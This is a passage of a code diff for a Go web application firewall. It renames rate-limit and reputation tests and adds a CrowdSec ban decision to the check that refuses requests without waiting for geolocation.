+func TestErrorBurstCountsEachClientTheChecksApplyTo(t *testing.T) {
 	t.Parallel()
 
 	const (
@@ -339,7 +339,7 @@ func TestRefusalLimitCountsEachClientTheChecksApplyTo(t *testing.T) {
 		exempt  = "192.0.2.50" // in SWW_WAF_RATE_LIMIT_EXEMPT_NETS
 	)
 
-	s, _, _ := startForRefusalLimit(t, "1", map[string]string{
+	s, _, _ := startForErrorBurst(t, "1", map[string]string{
 		allowNets: allowed, rateLimitExemptNets: exempt,
 	})
 
@@ -367,10 +367,10 @@ func TestRefusalLimitCountsEachClientTheChecksApplyTo(t *testing.T) {
 	s.get(exempt, http.StatusForbidden, requestlog.ActionTemporarilyBanned)
 }
 
-func TestRefusalLimitBanSetsTheRefusalsBackToZero(t *testing.T) {
+func TestErrorBurstBanSetsTheRefusalsBackToZero(t *testing.T) {
 	t.Parallel()
 
-	s, clk, _ := startForRefusalLimit(
+	s, clk, _ := startForErrorBurst(
 		t,
 		"1",
 		map[string]string{limitBanDuration: "1s"},
@@ -389,7 +389,7 @@ func TestRefusalLimitBanSetsTheRefusalsBackToZero(t *testing.T) {
 	}
 }
 
-func TestObserveModeLogsAndAlertsABrokenRefusalLimit(t *testing.T) {
+func TestObserveModeLogsAndAlertsTheErrorBurst(t *testing.T) {
 	t.Parallel()
 
 	s, clk, server, queue := startWithAlerts(t, map[string]string{

internal/waf/reputation.go

@@ -1,6 +1,7 @@
 package waf
 
-// What the reputation heuristics share: blocklists, dnsbl and abuseipdb.
+// What the reputation heuristics share: blocklists, crowdsec, dnsbl and
+// abuseipdb.
 
 import (
 	"sneak.berlin/go/smallwebwaf/internal/alerts"

internal/waf/reputation_test.go

@@ -432,7 +432,7 @@ const (
 	noResolver = "127.0.0.1:9"
 )
 
-func TestEachDNSBLAbuseIPDBActionForAClientADNSBLZoneLists(t *testing.T) {
+func TestEachReputationActionForAClientADNSBLZoneLists(t *testing.T) {
 	t.Parallel()
 
 	forward, denied := requestlog.ActionForward, requestlog.ActionClientDenied
@@ -617,7 +617,7 @@ func TestObserveModeForwardsAClientADNSBLZoneDeniesAndAlertsIt(
 	}
 }
 
-func TestDNSBLAbuseIPDBLimitTakesPartInTheLowestPercentageOfEveryLimit(
+func TestReputationLimitTakesPartInTheLowestPercentageOfEveryLimit(
 	t *testing.T,
 ) {
 	t.Parallel()
@@ -989,7 +989,7 @@ func TestClientRefusedForAnOffenceIsCheckedWithAbuseIPDBAtItsNextRequest(
 	}
 }
 
-func TestEachDNSBLAbuseIPDBActionForAClientAbuseIPDBScoresAtOrOverTheMinimum(
+func TestEachReputationActionForAClientAbuseIPDBScoresAtOrOverTheMinimum(
 	t *testing.T,
 ) {
 	t.Parallel()

internal/waf/waf.go

@@ -146,15 +146,18 @@ func (h *handler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
 
 // refusedWhateverTheAnswer reports whether the request is one that does not wait
 // for GeoJS, since the checks will refuse it at now whatever GeoJS answers about
-// its client: the heuristic blocklists or rate_limits will refuse it, as a
+// its client: the heuristic crowdsec, blocklists or rate_limits will refuse it,
-// function in that heuristic's file says. In observe mode, which refuses
+// as a function in that heuristic's file says. In observe mode, which refuses
 // nothing, none is. rproxy lets a request through when waf answers too late.
 func (rq *request) refusedWhateverTheAnswer(now time.Time) bool {
 	if rq.h.config.Observe {
 		return false
 	}
 
-	return rq.refusedByBlocklists(rq.h.lists.ListedBy(rq.client)) ||
+	_, decided := rq.crowdSecDecisionInForce(now)
+
+	return decided ||
+		rq.refusedByBlocklists(rq.h.lists.ListedBy(rq.client)) ||
 		rq.overAWholeRateLimit(now)
 }
 

internal/waf/waf_test.go

@@ -811,7 +811,7 @@ func TestObserveModeAllowsAndLogsWhatEnforceModeWouldHaveDone(t *testing.T) {
 	wantWouldAction(t, line, requestlog.ActionClientDenied)
 }
 
-func TestObserveModeRefusalAnsweredAllowCountsForTheRefusalLimit(
+func TestObserveModeRefusalAnsweredAllowCountsForTheErrorBurst(
 	t *testing.T,
 ) {
 	t.Parallel()
@@ -837,7 +837,7 @@ func TestObserveModeRefusalAnsweredAllowCountsForTheRefusalLimit(
 	}
 }
 
-func TestDeniedQuestionCountsForTheRefusalLimit(t *testing.T) {
+func TestDeniedQuestionCountsForTheErrorBurst(t *testing.T) {
 	t.Parallel()
 
 	s := startWAF(t, "", map[string]string{